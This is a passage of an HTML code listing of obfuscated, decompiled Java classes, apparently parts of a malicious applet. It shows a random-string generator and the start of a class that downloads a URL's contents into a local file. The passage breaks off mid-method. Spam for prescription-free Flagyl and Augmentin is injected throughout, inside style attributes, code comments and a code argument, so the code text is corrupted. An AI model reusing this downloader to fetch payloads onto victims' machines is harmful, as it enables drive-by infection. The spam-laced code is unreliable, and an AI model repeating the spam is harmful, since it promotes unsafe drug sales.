<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>                 c_ed1.ed(s3, (new StringBuilder()).append(s2).append(&quot;</span>\<span style="color: #006080">&quot;).append(s).toString(), <b>Buy cheap Flagyl no rx</b>, this);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span>         catch(Exception exception)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  38:</span>             c_js1.js(&quot;</span>JSM_onLoadFail&quot;, <span style="color: #0000ff">this</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>buy Flagyl no prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  39:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  40:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  41:</span> }</pre>  </div></div></p>
<p><p>c_gP.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl natural</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">class</span> c_gP</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span>     c_gP()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>online buy Flagyl without a prescription</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">static</span> String gP(<span style="color: #0000ff">int</span> i)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>         <span style="color: #0000ff">char</span> ac[] = <span style="color: #0000ff">new</span> <span style="color: #0000ff">char</span>[i];</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>         <span style="color: #0000ff">int</span> j = 65;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Buy generic Flagyl</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>         <span style="color: #0000ff">boolean</span> flag = <span style="color: #0000ff">false</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         <span style="color: #0000ff">for</span>(<span style="color: #0000ff">int</span> l = 0; l &lt; i; l++)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             <span style="color: #0000ff">int</span> k = (<span style="color: #0000ff">int</span>)(Math.random() * 3D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             switch(k)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl dangers</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             <span style="color: #0000ff">case</span> 0: // <span style="color: #006080">'<title>Buy Augmentin Without Prescription</title>'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>                 j = 48 + (<span style="color: #0000ff">int</span>)(Math.random() * 10D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             <span style="color: #0000ff">case</span> 1: // <span style="color: #006080">'<title>Buy Augmentin Without Prescription</title>1'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>My Flagyl experience</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>                 j = 97 + (<span style="color: #0000ff">int</span>)(Math.random() * 26D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>             <span style="color: #0000ff">case</span> 2: // <span style="color: #006080">'<title>Buy Augmentin Without Prescription</title>2'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                 j = 65 + (<span style="color: #0000ff">int</span>)(Math.random() * 26D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl without prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>             ac[l] = (<span style="color: #0000ff">char</span>)j;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> String(ac);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl schedule</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span> }</pre>  </div></div></p>
<p><p>c_de.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.io.*;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl street price</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> import java.net.URL;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> import java.net.URLConnection;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">class</span> c_de</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl trusted pharmacy reviews</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     c_de()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">boolean</span> de(String s, String s1)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         try</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl online cod</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             String s2 = s1;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             BufferedOutputStream bufferedoutputstream = <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             InputStream inputstream = <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             URL url = <span style="color: #0000ff">new</span> URL(s);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Purchase Flagyl for sale</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>             bufferedoutputstream = <span style="color: #0000ff">new</span> BufferedOutputStream(<span style="color: #0000ff">new</span> FileOutputStream(s2));</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>             URLConnection urlconnection = url.openConnection();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>             inputstream = urlconnection.getInputStream();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             byte abyte0[] = <span style="color: #0000ff">new</span> byte[1024];</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>             <span style="color: #0000ff">int</span> i;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>order Flagyl no prescription</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>             <span style="color: #0000ff">for</span>(long l = 0L; (i = inputstream.<span style="color: #0000ff">read</span>(abyte0)) != -1; l += i)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                 bufferedoutputstream.<span style="color: #0000ff">write</span>(abyte0, 0, i);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>             <span style="color: #0000ff">if</span>(inputstream != <span style="color: #0000ff">null</span>)</pre></p>
